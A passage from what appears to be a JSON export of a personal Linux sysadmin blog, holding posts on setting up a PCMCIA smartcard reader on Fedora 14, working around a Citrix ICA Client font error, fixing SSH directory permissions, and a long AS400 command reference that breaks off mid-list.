pcmcia slot and restart pcscd:\n[root@thinkleo1 ~]# /etc/init.d/pcscd restart\nTest the reader: If all works fine you can get this output:\n[root@thinkleo1 ~]# opensc-tool -l Readers known about: Nr. Driver Name 0 pcsc OMNIKEY CardMan 4040 Socket 0 00 00 [root@thinkleo1 ~]# Now the reader is ready to use.\n","permalink":"https://www.deepreflect.net/2011/01/23/omikey-cardman-4040-linux-fc14/","summary":"\u003cp\u003eIn this post I describe how to get works OMNIKEY Cardman 4040, a pcmcia smartcard reader/writer under Linux Ferdora 14 using manufacturer PC/SC driver.\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eInstall the required packages:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003ccode\u003e[root@thinkleo1 ~]# yum install pcsc-lite openct opensc\u003c/code\u003e\u003c/p\u003e\n\u003col start=\"2\"\u003e\n\u003cli\u003eConfigure OpenSC\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eWith PC/SC cardbus access OpenCT is useless but without that daemon, on every smartcard operational commad you get lot of this erros:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eError: can't open /var/run/openct/status: No such file or directory\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eThen to avoid (openct/opensc/pcscd) conflicts I prefer to disable openct framework like this:\u003c/p\u003e","title":"Omikey Cardman 4040 - Linux FC14"},{"content":"If you are using Citrix ICA Client (v.11.100) on Linux specially Fedora 13 after \u0026ldquo;java-1.6.0-openjdk\u0026rdquo; update the following dependencies will be installed:\nbaekmuk-ttf-batang-fonts 2.2-29.fc13 baekmuk-ttf-dotum-fonts 2.2-29.fc13 baekmuk-ttf-fonts-common 2.2-29.fc13 baekmuk-ttf-gulim-fonts 2.2-29.fc13 baekmuk-ttf-hline-fonts 2.2-29.fc13 cjkuni-ukai-fonts 0.2.20080216.1-42.fc13 cjkuni-uming-fonts 0.2.20080216.1-42.fc13 lohit-malayalam-fonts 2.4.4-5.fc13 sazanami-fonts-common 0.20040629-14.fc13 sazanami-gothic-fonts 0.20040629-14.fc13 sazanami-mincho-fonts 0.20040629-14.fc13 After this updates ICAClient stops working with flollowing error:\nWarning: Name: FONTLIST_DEFAULT_TAG_STRING Class: XmRendition Conversion failed. Cannot load font. The problem was located under \u0026ldquo;sazanami-mincho-fonts\u0026rdquo;\nI\u0026rsquo;ve no time to fix fontpath problem in this stupid application developed in motif, then my little workaround was:\nBlacklist package under /etc/yum.conf\nexclude=sazanami-mincho-fonts*\nIf you are already installed:\n[root@thinkleo1 leo]# rpm -e --nodeps sazanami-mincho-fonts\n","permalink":"https://www.deepreflect.net/2010/11/28/citrix-icaclient-problem-on-linux-fc13/","summary":"\u003cp\u003eIf you are using Citrix ICA Client (v.11.100) on Linux specially Fedora 13 after \u0026ldquo;java-1.6.0-openjdk\u0026rdquo; update the following dependencies will be installed:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebaekmuk-ttf-batang-fonts                             2.2-29.fc13\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebaekmuk-ttf-dotum-fonts                              2.2-29.fc13\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebaekmuk-ttf-fonts-common                             2.2-29.fc13\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebaekmuk-ttf-gulim-fonts                              2.2-29.fc13\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ebaekmuk-ttf-hline-fonts                              2.2-29.fc13\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecjkuni-ukai-fonts                                    0.2.20080216.1-42.fc13\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecjkuni-uming-fonts                                   0.2.20080216.1-42.fc13\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elohit-malayalam-fonts                                2.4.4-5.fc13\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esazanami-fonts-common                                0.20040629-14.fc13\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esazanami-gothic-fonts                                0.20040629-14.fc13\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esazanami-mincho-fonts                                0.20040629-14.fc13\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAfter this updates ICAClient stops working with flollowing error:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWarning:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eName: FONTLIST_DEFAULT_TAG_STRING\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eClass: XmRendition\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eConversion failed\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e  Cannot load font\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe problem was located under \u0026ldquo;sazanami-mincho-fonts\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;ve no time to fix fontpath problem in this stupid application developed in motif, then my little workaround was:\u003c/p\u003e","title":"Citrix - ICAClient issue on Linux FC13"},{"content":"If any of the files (or directories leading up to the files) have permissions set too loose, the connection will fail. Permission errors may be logged on the server side by the sshd(8) daemon.\nAuthentication refused: bad ownership or modes for directory …\nIn most cases, potential permission problems can be solved by restricting down access to the SSH configuration files. Permission changes to the home directory might be needed, though restricted rights may break other things.\nserver$ chmod go-w ~/ server$ chmod 700 ~/.ssh server$ chmod 600 ~/.ssh/authorized_keys ","permalink":"https://www.deepreflect.net/2010/09/09/ssh-permission/","summary":"\u003cp\u003eIf any of the files (or directories leading up to the files) have permissions set too loose, the connection will fail. Permission errors may be logged on the server side by the sshd(8) daemon.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eAuthentication refused: bad ownership or modes for directory …\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eIn most cases, potential permission problems can be solved by restricting down access to the SSH configuration files. Permission changes to the home directory might be needed, though restricted rights may break other things.\u003c/p\u003e","title":".ssh - Permission"},{"content":"AS400 Commands\nADDACC Add Access Code ADDAJE Add Autostart Job Entry ADDALRACNE Add Alert Action Entry ADDALRD Add Alert Description ADDALRSLTE Add Alert Selection Entry ADDAUTLE Add Authorization List Entry ADDBKP Add Breakpoint ADDBNDDIRE Add Binding Directory Entry ADDCCTRTE Add Circuit Route ADDCCTSRV Add Circuit Service ADDCFGLE Add Configuration List Entries ADDCMNE Add Communications Entry ADDCNNLE Add Connection List Entry ADDCOMSNMP Add Community for SNMP ADDDIRE Add Directory Entry ADDACC Add Access Code ADDAJE Add Autostart Job Entry ADDALRACNE Add Alert Action Entry ADDALRD Add Alert Description ADDALRSLTE Add Alert Selection Entry ADDAUTLE Add Authorization List Entry ADDBKP Add Breakpoint ADDBNDDIRE Add Binding Directory Entry ADDCCTRTE Add Circuit Route ADDCCTSRV Add Circuit Service ADDCFGLE Add Configuration List Entries ADDCMNE Add Communications Entry ADDCNNLE Add Connection List Entry ADDCOMSNMP Add Community for SNMP ADDDIRE Add Directory Entry ADDDIRSHD Add Directory Shadow System ADDDLOAUT Add DLO Authority ADDDSTLE Add Distribution List Entry ADDDSTQ Add Distribution Queue ADDDSTRTE Add Distribution Route ADDDSTSYSN Add Secondary System Name ADDDTADFN Add Data Definition ADDEMLCFGE Add Configuration Entry ADDENVVAR Add Environment Variable ADDEWCBCDE Add EWC Barcode Entry ADDEWCM Add Wireless Ctl Member ADDEWCPTCE Add EWC PTC Entry ADDEWLM Add Wireless Line Member ADDEXITPGM Add Exit Program ADDFCTE Add Forms Control Entry ADDFNTTBLE Add Font Table Entry ADDICFDEVE Add ICF Device Entry ADDIPIADR Add IP over IPX Address ADDIPIIFC Add IP over IPX Interface ADDIPIRTE Add IP over IPX Route ADDIPSIFC Add IP over SNA Interface ADDIPSLOC Add IP over SNA Location ADDIPSRTE Add IP over SNA Route ADDIPXCCT Add IPX Circuit ADDJOBJS Add Job using Job Scheduler ADDJOBQE Add Job Queue Entry ADDJOBSCDE Add Job Schedule Entry ADDLANADPI Add LAN Adapter Information ADDLFM Add Logical File Member ADDLIBLE Add Library List Entry ADDLICKEY Add License Key Information ADDLNK Add Link ADDMFS Add Mounted FS ADDMSGD Add Message Description ADDNCK Add Nickname ADDNETJOBE Add Network Job Entry ADDNETTBLE Add Network Table Entry ADDNODLE Add Node List Entry ADDNWSSTGL Add Server Storage Link ADDOPTCTG Add Optical Cartridge ADDOPTSVR Add Optical Server ADDPCLTBLE Add Protocol Table Entry ADDPEXDFN Add PEX Definition ADDPFCST Add PF Constraint ADDPFM Add Physical File Member ADDPFRCOL Add Performance Collection ADDPFTRG Add Physical File Trigger ADDPFVLM Add Phy File Variable Len Mbr ADDPGM Add Program ADDPJE Add Prestart Job Entry ADDPRBACNE Add Problem Action Entry ADDPRBSLTE Add Problem Selection Entry ADDRDBDIRE Add RDB Directory Entry ADDREXBUF Add REXX Buffer ADDRJECMNE Add RJE Communication Entry ADDRJERDRE Add RJE Reader Entry ADDRJEWTRE Add RJE Writer Entry ADDRMTDFN Add Remote Definition ADDRMTSVR Add Remote Server ADDRPYLE Add Reply List Entry ADDRTGE Add Routing Entry ADDSCHIDXE Add Search Index Entry ADDSNILOC Add SNA over IPX Location ADDSOCE Add Sphere of Control Entry ADDSRVTBLE Add Service Table Entry ADDTAPCTG Add Tape Cartridge ADDTCPHTE Add TCP/IP Host Table Entry ADDTCPIFC Add TCP/IP Interface ADDTCPLNK Add TCP/IP Link ADDTCPPORT Add TCP/IP Port Restriction ADDTCPRSI Add TCP/IP Remote System ADDTCPRTE Add TCP/IP Route ADDTRC Add Trace ADDWSE Add Work Station Entry ALCOBJ Allocate Object ANSLIN Answer Line ANSQST Answer Questions ANZACCGRP Analyze Process Access Group ANZBESTMDL Analyze BEST/1 Model ANZDBF Analyze Database Files ANZDBFKEY Analyze Database File Keys ANZDFTPWD Analyze Default Passwords ANZPFRDTA Analyze Performance Data ANZPGM Analyze Programs ANZPRB Analyze Problem ANZPRFACT Analyze Profile Activity ANZQRY Analyze Query ANZS34OCL Analyze S/34 OCL ANZS36OCL System/36 OCL Analysis ANZUSROBJ ANALYZE USER OBJECTS APING Verify APPC Connection APYJRNCHG Apply Journaled Changes APYPTF Apply Program Temporary Fix AREXEC Run Remote Command ASKQST Ask Question BCHJOB Batch Job CALL Call Program CALLPRC Call Bound Procedure CD Change Current Directory CFGDEVMLB Configure Device Media Library CFGDSTSRV Configure Distribution Service CFGIPI Configure IPI CFGIPS Configure IP over SNA CFGIPX Configure IPX CFGRPDS Configure VM/MVS Bridge CFGSYSSEC Configure System Security CFGTCP Configure TCP/IP CFGTCPAPP Configure TCP/IP Applications CFGTCPBP Configure TCP/IP BOOTP CFGTCPFTP Configure TCP/IP FTP CFGTCPHTTP Configure TCP/IP HTTP CFGTCPLPD Configure TCP/IP LPD CFGTCPPTP Configure Point-to-Point TCPIP CFGTCPRTD Configure TCP/IP RouteD CFGTCPRXC Configure TCP/IP REXEC CFGTCPSMTP Configure TCP/IP SMTP CFGTCPSNMP Configure TCP/IP SNMP CFGTCPTELN Configure TCP/IP TELNET CFGTCPWSG Configure TCP/IP Workstation CHDIR Change Current Directory CHGACGCDE Change Accounting Code CHGACTPRFL Change Active Profile List CHGACTSCDE Change Activation Scd Entry CHGAJE Change Autostart Job Entry CHGALRACNE Change Alert Action Entry CHGALRD Change Alert Description CHGALRSLTE Change Alert Selection Entry CHGALRTBL Change Alert Table CHGAUD Change Auditing Value CHGAUT Change Authority CHGAUTJS Change Job Authority using JS CHGAUTLE Change Auth List Entry CHGBCKUP Change Backup Options CHGBPA Change BOOTP Attributes CHGCCTRTE Change Circuit Route CHGCCTSRV Change Circuit Service CHGCFGL Change Configuration List CHGCFGLE Change Cfg List Entries CHGCLNUP Change Cleanup CHGCLS Change Class CHGCMD Change Command CHGCMDDFT Change Command Default CHGCMNE Change Communications Entry CHGCNNL Change Connection List CHGCNNLE Change Connection List Entry CHGCOMSNMP Change Community for SNMP CHGCOSD Change Class-of-Service Desc CHGCRQD Change CRQ Description CHGCSI Change Comm Side Information CHGCTLAPPC Change Ctl Desc (APPC) CHGCTLASC Change Ctl Desc (Async) CHGCTLBSC Change Ctl Desc (BSC) CHGCTLFNC Change Ctl Desc (Finance) CHGCTLHOST Change Ctl Desc (SNA Host) CHGCTLLWS Change Ctl Desc (Local WS) CHGCTLNET Change Ctl Desc (Network) CHGCTLRTL Change Ctl Desc (Retail) CHGCTLRWS Change Ctl Desc (Remote WS) CHGCTLTAP Change Ctl Desc (Tape) CHGCTLVWS Change Ctl Desc (Virtual WS) CHGCURDIR Change Current Directory CHGCURLIB Change Current Library CHGDBG Change Debug CHGDDMF Change DDM File CHGDEVAPPC Change Device Desc (APPC) CHGDEVASC Change Device Desc (Async) CHGDEVBSC Change Device Desc (BSC) CHGDEVDKT Change Device Desc (Diskette) CHGDEVDSP Change Device Desc (Display) CHGDEVFNC Change Device Desc (Finance) CHGDEVHOST Change Device Desc (SNA Host) CHGDEVINTR Change Device Desc (Intra) CHGDEVMLB Change Device Desc (Media Lib) CHGDEVNET Change Device Desc (Network) CHGDEVOPT Change Device Desc (Optical) CHGDEVPR Change Device Desc (Printer) CHGDEVRTL Change Device Desc (Retail) CHGDEVSNPT Change Device Desc (SNPT) CHGDEVSNUF Change Device Desc (SNUF) CHGDEVTAP Change Device Desc (Tape) CHGDIRE Change Directory Entry CHGDIRSHD Change Directory Shadow System CHGDKTF Change Diskette File CHGDLOAUD Change DLO Auditing Level CHGDLOAUT Change DLO Authority CHGDLOOWN Change DLO Owner CHGDLOPGP Change DLO Primary Group CHGDOCD Change Do*****ent Description CHGDSPF Change Display File CHGDSTA Change Distribution Attributes CHGDSTD Change Distribution CHGDSTL Change Distribution List CHGDSTPWD Change DST Password CHGDSTQ Change Distribution Queue CHGDSTRTE Change Distribution Route CHGDTA Change Data CHGDTAARA Change Data Area CHGEMLCFGE Change Configuration Entry CHGENVVAR Change Environment Variable CHGEWCBCDE Change EWC Barcode Entry CHGEWCM Change Wireless Ctl Member CHGEWCPTCE Change EWC PTC Entry CHGEWLM Change Wireless Line Member CHGEXPSCDE Change Expiration Scd Entry CHGFCNARA Change Functional Area CHGFCT Change Forms Control Table CHGFCTE Change Forms Control Entry CHGFTPA Change FTP Attributes CHGFTR Change Filter CHGGPHFMT Change Graph Format CHGGPHPKG Change Graph Package CHGGRPA Change Group Attributes CHGHLLPTR Change HLL Pointer CHGHTTPA Change HTTP Attributes CHGICFDEVE Change ICF Device Entry CHGICFF Change ICF File CHGIPIADR Change IP over IPX Address CHGIPIIFC Change IP over IPX Interface CHGIPLA Change IPL Attributes CHGIPSIFC Change IP over SNA Interface CHGIPSLOC Change IP over SNA Location CHGIPSTOS Change IP over SNA TOS CHGIPXCCT Change IPX Circuit CHGIPXD Change IPX Description CHGJOB Change Job CHGJOBD Change Job Description CHGJOBJS Change Job using Job Scheduler CHGJOBQE Change Job Queue Entry CHGJOBSCDE Change Job Schedule Entry CHGJOBTYP Change Job Type CHGJRN Change Journal CHGKBDMAP Change Keyboard Map CHGLANADPI Change LAN Adapter Information CHGLF Change Logical File CHGLFM Change Logical File Member CHGLIB Change Library CHGLIBL Change Library List CHGLICINF Change License Information CHGLINASC Change Line Desc (Async) CHGLINBSC Change Line Desc (BSC) CHGLINDDI Change Line Desc (DDI) CHGLINETH Change Line Desc (Ethernet) CHGLINFAX Change Line Desc (Fax) CHGLINFR Change Line Desc (Frame Relay) CHGLINIDLC Change Line Desc (IDLC) CHGLINNET Change Line Desc (Network) CHGLINSDLC Change Line Desc (SDLC) CHGLINTDLC Change Line Desc (TDLC) CHGLINTRN Change Line Desc (Token-Ring) CHGLINWLS Change Line Desc (Wireless) CHGLINX25 Change Line Desc (X.25) CHGLPDA Change LPD Attributes CHGM36CFG Change Machine Configuration CHGMNU Change Menu CHGMOD Change Module CHGMODD Change Mode Description CHGMSGD Change Message Description CHGMSGF Change Message File CHGMSGQ Change Message Queue CHGNCK Change Nickname CHGNETA Change Network Attributes CHGNETJOBE Change Network Job Entry CHGNFSEXP Change NFS Export CHGNODGRPA Change Node Group Attributes CHGNTBD Change NetBIOS Description CHGNWIATM Change NWI ATM CHGNWIFR Change Network Interface (FR) CHGNWIISDN Change Network Interface ISDN CHGNWSA Change NWS Attributes CHGNWSALS Change Network Server Alias CHGNWSD Change Network Server Desc CHGNWSUSRA Change NWS User Attributes CHGOBJAUD Change Object Auditing CHGOBJD Change Object Description CHGOBJOWN Change Object Owner CHGOBJPGP Change Object Primary Group CHGOPTA Change Optical Attributes CHGOPTVOL Change Optical Volume CHGOUTQ Change Output Queue CHGOWN Change Owner CHGPCOPRF Change PC Organizer Profile CHGPDGPRF Change PDG Profile CHGPEXDFN Change PEX Definition CHGPF Change Physical File CHGPFCST Change PF Constraint CHGPFM Change Physical File Member CHGPFRCOL Change Performance Collection CHGPGM Change Program CHGPGMVAR Change Program Variable CHGPGP Change Primary Group CHGPJ Change Prestart Job CHGPJE Change Prestart Job Entry CHGPOPA Change POP Server Attributes CHGPRB Change Problem CHGPRBACNE Change Problem Action Entry CHGPRBSLTE Change Problem Selection Entry CHGPRF Change Profile CHGPRTF Change Printer File CHGPSFCFG Change PSF Configuration CHGPTR Change Pointer CHGPWD Change Password CHGPWRSCD Change Power On/Off Schedule CHGPWRSCDE Change Power Schedule Entry CHGQRYA Change Query Attributes CHGQSTDB Change Q/A Database CHGRCYAP Chg Recovery for Access Paths CHGRDBDIRE Change RDB Directory Entry CHGRJECMNE Change RJE Communication Entry CHGRJERDRE Change RJE Reader Entry CHGRJEWTRE Change RJE Writer Entry CHGRMTDFN Change Remote Definition CHGRPYLE Change Reply List Entry CHGRTDA Change RouteD Attributes CHGRTGE Change Routing Entry CHGRWSPWD Change RWS Controller Password CHGRXCA Change REXEC Attributes CHGS34LIBM Change S/34 Library Member CHGS36 Change S/36 Configuration CHGS36A Change S/36 Environment Attr CHGS36MSGL Change S/36 Message List CHGS36PGMA Change S/36 Program Attributes CHGS36PRCA Change S/36 Proc Attributes CHGS36SRCA Change S/36 Source Attributes CHGSAVF Change Save File CHGSBSD Change Subsystem Description CHGSCHIDX Change Search Index CHGSECA Change Security Attributes CHGSECAUD Change Security Auditing CHGSHRPOOL Change Shared Storage Pool CHGSMTPA Change SMTP Attributes CHGSNILOC Change SNA over IPX Location CHGSNMPA Change SNMP Attributes CHGSPLFA Change Spooled File Attributes CHGSRCPF Change Source Physical File CHGSRVA Change Service Attributes CHGSRVPGM Change Service Program CHGSSND Change Session Description CHGSSNMAX Change Session Maximum CHGSYSDIRA Change System Dir Attributes CHGSYSJOB Change System Job CHGSYSLIBL Change System Library List CHGSYSVAL Change System Value CHGTAPCTG Change Tape Cartridge CHGTAPF Change Tape File CHGTCPA Change TCP/IP Attributes CHGTCPHTE Change TCP/IP Host Table Entry CHGTCPIFC Change TCP/IP Interface CHGTCPLNK Change TCP/IP Link CHGTCPRTE Change TCP/IP Route CHGTELNA Change TELNET Attributes CHGTFTPA Change TFTP Attributes CHGUSRAUD Change User Auditing CHGUSRPRF Change User Profile CHGUSRPRTI Change User Print Info CHGVAR Change Variable CHGVT1MAP Change VT100 keyboard map CHGVTMAP Change VT Keyboard Map CHGWSE Change Work Station Entry CHGWSGA Change WSG Attributes CHGWTR Change Writer CHKCMNTRC Check Communications Trace CHKDKT Check Diskette CHKDLO Check Do*****ent Library Object CHKIN Check In Object CHKOBJ Check Object CHKOBJITG Check Object Integrity CHKOUT Check Out Object CHKPRDOPT Check Product Option CHKPWD Check Password CHKRCDLCK Check Record Locks CHKS36SRCA Check S/36 Source Attributes CHKTAP Check Tape CLOF Close File CLRDKT Clear Diskette CLRJOBQ Clear Job Queue CLRLIB Clear Library CLRMSGQ Clear Message Queue CLROUTQ Clear Output Queue CLRPFM Clear Physical File Member CLRPOOL Clear Pool CLRSAVF Clear Save File CLRTRCDTA Clear Trace Data CMD Command Definition CMPJRNIMG Compare Journal Images CMPPFM Compare Physical File Member CMPPTFLVL Compare PTF Level CNLRJERDR Cancel RJE Reader CNLRJEWTR Cancel RJE Writer COMMIT Commit COPY Copy Object COPYRIGHT Copyright CPROBJ Compress Object CPY Copy Object CPYCFGL Copy Configuration List CPYDOC Copy Do*****ent CPYF Copy File CPYFCNARA Copy Functional Area CPYFRMDIR Copy From Directory CPYFRMDKT Copy From Diskette CPYFRMPCD Copy From PC Do*****ent CPYFRMQRYF Copy From Query File CPYFRMSTMF Copy From Stream File CPYFRMTAP Copy From Tape CPYGPHFMT Copy Graph Format CPYGPHPKG Copy Graph Package CPYJOBJS Copy Job using Job Scheduler CPYLIB Copy Library CPYOPT Copy Optical CPYPFRDTA Copy Performance Data CPYPTF Copy Program Temporary Fix CPYSPLF Copy Spooled File CPYSRCF Copy Source File CPYTODIR Copy To Directory CPYTODKT Copy To Diskette CPYTOPCD Copy To PC Do*****ent CPYTOSTMF Copy To Stream File CPYTOTAP Copy To Tape CRTALRTBL Create Alert Table CRTAUTHLR Create Authority Holder CRTAUTL Create Authorization List CRTBESTMDL Create BEST/1 Model CRTBNDCBL Create Bound COBOL Program CRTBNDCL Create Bound CL Program CRTBNDDIR Create Binding Directory CRTBNDRPG Create Bound RPG Program CRTCBLMOD Create COBOL Module CRTCBLPGM Create COBOL Program CRTCFGL Create Configuration List CRTCLD Create C Locale Description CRTCLMOD Create CL Module CRTCLPGM Create CL Program CRTCLS Create Class CRTCMD Create Command CRTCNNL Create Connection List CRTCOSD Create Class-of-Service Desc CRTCRQD Create CRQ Description CRTCSI Create Comm Side Information CRTCTLAPPC Create Ctl Desc (APPC) CRTCTLASC Create Ctl Desc (Async) CRTCTLBSC Create Ctl Desc (BSC) CRTCTLFNC Create Ctl Desc (Finance) CRTCTLHOST Create Ctl Desc (SNA Host) CRTCTLLWS Create Ctl Desc (Local WS) CRTCTLNET Create Ctl Desc (Network) CRTCTLRTL Create Ctl Desc (Retail) CRTCTLRWS Create Ctl Desc (Remote WS) CRTCTLTAP Create Ctl Desc (Tape) CRTCTLVWS Create Ctl Desc (Virtual WS) CRTDDMF Create DDM File CRTDEVAPPC Create Device Desc (APPC) CRTDEVASC Create Device Desc (Async) CRTDEVBSC Create Device Desc (BSC) CRTDEVDKT Create Device Desc (Diskette) CRTDEVDSP Create Device Desc (Display) CRTDEVFNC Create Device Desc (Finance) CRTDEVHOST Create Device Desc (SNA Host) CRTDEVINTR Create Device Desc (Intra) CRTDEVMLB Create Device Desc (Media Lib) CRTDEVNET Create Device Desc (Network) CRTDEVOPT Create Device Desc (Optical) CRTDEVPRT Create Device Desc (Printer) CRTDEVRTL Create Device Desc (Retail) CRTDEVSNPT Create Device Desc (SNPT) CRTDEVSNUF Create Device Desc (SNUF) CRTDEVTAP Create Device Desc (Tape) CRTDFUDSPF Create DFU Display File CRTDIR Create Directory CRTDKTF Create Diskette File CRTDOC Create Do*****ent CRTDSPF Create Display File CRTDSTL Create Distribution List CRTDTAARA Create Data Area CRTDTADCT Create Data Dictionary CRTDTAQ Create Data Queue CRTDUPOBJ Create Duplicate Object CRTEDTD Create Edit Description CRTFCNARA Create Functional Area CRTFCT Create Forms Control Table CRTFLR Create Folder CRTFNTRSC Create Font Resource CRTFORMDF Create Form Definition CRTFTR Create Filter CRTGPHFMT Create Graph Format CRTGPHPKG Create Graph Package CRTGSS Create Graphics Symbol Set CRTHSTDTA Create Historical Data CRTICFF Create ICF File CRTIPXD Create IPX Description CRTJOBD Create Job Description CRTJOBQ Create Job Queue CRTJRN Create Journal CRTJRNRCV Create Journal Receiver CRTLF Create Logical File CRTLIB Create Library CRTLINASC Create Line Desc (Async) CRTLINBSC Create Line Desc (BSC) CRTLINDDI Create Line Desc (DDI) CRTLINETH Create Line Desc (Ethernet) CRTLINFAX Create Line Desc (Fax) CRTLINFR Create Line Desc (Frame Relay) CRTLINIDLC Create Line Desc (IDLC) CRTLINNET Create Line Desc (Network) CRTLINSDLC Create Line Desc (SDLC) CRTLINTDLC Create Line Desc (TDLC) CRTLINTRN Create Line Desc (Token-Ring) CRTLINWLS Create Line Desc (Wireless) CRTLINX25 Create Line Desc (X.25) CRTLOCALE Create Locale CRTM36CFG Create Machine Configuration CRTMNU Create Menu CRTMODD Create Mode Description CRTMSGF Create Message File CRTMSGFMNU Create Menu from Msg Files CRTMSGQ Create Message Queue CRTNODGRP Create Node Group CRTNODL Create Node List CRTNTBD Create NetBIOS Description CRTNWIATM Create NWI ATM CRTNWIFR Create Network Interface (FR) CRTNWIISDN Create Network Interface ISDN CRTNWSALS Create Network Server Alias CRTNWSD Create Network Server Desc CRTNWSSTG Create NWS Storage Space CRTOUTQ Create Output Queue CRTOVL Create Overlay CRTPAGDFN Create Page Definition CRTPAGSEG Create Page Segment CRTPDG Create Print Descriptor Group CRTPF Create Physical File CRTPGM Create Program CRTPNLGRP Create Panel Group CRTPRTF Create Printer File CRTPSFCFG Create PSF Configuration CRTQMFORM Create Query Management Form CRTQMQRY Create Query Management Query CRTQSTDB Create Q/A Database CRTQSTLOD Create Q/A Database Load CRTRJEBSCF Create RJE BSC File CRTRJECFG Create RJE Configuration CRTRJECMNF Create RJE Communication File CRTRPGMOD Create RPG Module CRTRPGPGM Create RPG/400 Program CRTRPTPGM Create Auto Report RPG Program CRTS36CBL Create S/36 COBOL Program CRTS36DSPF Create S/36 Display File CRTS36MNU Create S/36 Menu CRTS36MSGF Create S/36 Message File CRTS36RPG Create RPG II Program CRTS36RPGR Create Console Display File CRTS36RPT Create S/36 RPG II Auto Report CRTSAVF Create Save File CRTSBSD Create Subsystem Description CRTSCHIDX Create Search Index CRTSPADCT Create Spelling Aid Dictionary CRTSQLC Create SQL C Program CRTSQLCBL Create SQL COBOL Program CRTSQLCBLI Create SQL ILE COBOL Object CRTSQLCI Create SQL ILE C object CRTSQLFTN Create SQL FORTRAN Program CRTSQLPKG Create SQL Package CRTSQLPLI Create SQL PL/I Program CRTSQLRPG Create SQL RPG Program CRTSQLRPGI Create SQL ILE RPG Object CRTSRCPF Create Source Physical File CRTSRVPGM Create Service Program CRTSSND Create Session Description CRTTAPCGY Create Tape Category CRTTAPF Create Tape File CRTTBL Create Table CRTUDFS Create User-Defined FS CRTUSRPRF Create User Profile CRTVLDL Create Validation List CRTWSCST Create WSCST CVTBASSTR Convert S/36 Stream File CVTBASUNF Convert S/36 Unformatted File CVTBGUDTA Convert BGU Data CVTCLSRC Convert CL Source CVTDAT Convert Date CVTDLSNAM Convert DLS Name CVTEDU Convert Education CVTIPSIFC Convert IP Address CVTIPSLOC Convert Network ID / Location CVTNAMSMTP Convert SMTP Names CVTOPTBKU Convert Optical Backup CVTPFRDTA Convert Performance Data CVTRJEDTA Convert RJE Data CVTRPGSRC Convert RPG Source CVTS36CFG Convert S/36 Configuration CVTS36FCT Convert Forms Control Table CVTS36JOB Convert S/36 Migration Job CVTS36QRY Convert S/36 Query CVTS38JOB Convert S/38 Migration Job CVTTCPCL Convert TCP/IP CL Source CVTTOFLR Convert To Folder DATA Data DCL Declare CL Variable DCLF Declare File DCPOBJ Decompress Object DEL Remove Link DEP Dependent Definition DLCOBJ Deallocate Object DLTALR Delete Alert DLTALRTBL Delete Alert Table DLTAPARDTA Delete APAR Data DLTAUTHLR Delete Authority Holder DLTAUTL Delete Authorization List DLTBESTMDL Delete BEST/1 model DLTBNDDIR Delete Binding Directory DLTCFGL Delete Configuration List DLTCLD Delete C Locale Description DLTCLS Delete Class DLTCMD Delete Command DLTCMNTRC Delete Communications Trace DLTCNNL Delete Connection List DLTCOSD Delete Class-of-Service Desc DLTCRQD Delete CRQ Description DLTCSI Delete Comm Side Information DLTCSPMAP Delete CSP/AE Map Group DLTCTLD Delete Controller Description DLTDEVD Delete Device Description DLTDEVMLB Delete Device Media Library DLTDFUPGM Delete DFU Program DLTDKTLBL Delete Diskette Label DLTDLO Delete Do*****ent Library Object DLTDOCL Delete Do*****ent List DLTDST Delete Distribution DLTDSTL Delete Distribution List DLTDTAARA Delete Data Area DLTDTADCT Delete Data Dictionary DLTDTAQ Delete Data Queue DLTEDTD Delete Edit Description DLTF Delete File DLTFCNARA Delete Functional Area DLTFCT Delete Forms Control Table DLTFNTRSC Delete Font Resource DLTFNTTBL Delete Font Table DLTFORMDF Delete Form Definition DLTFTR Delete Filter DLTGPHFMT Delete Graph Format DLTGPHPKG Delete Graph Package DLTGSS Delete Graphic Symbol Set DLTHSTDTA Delete Historical Data DLTIPXD Delete IPX Description DLTJOBD Delete 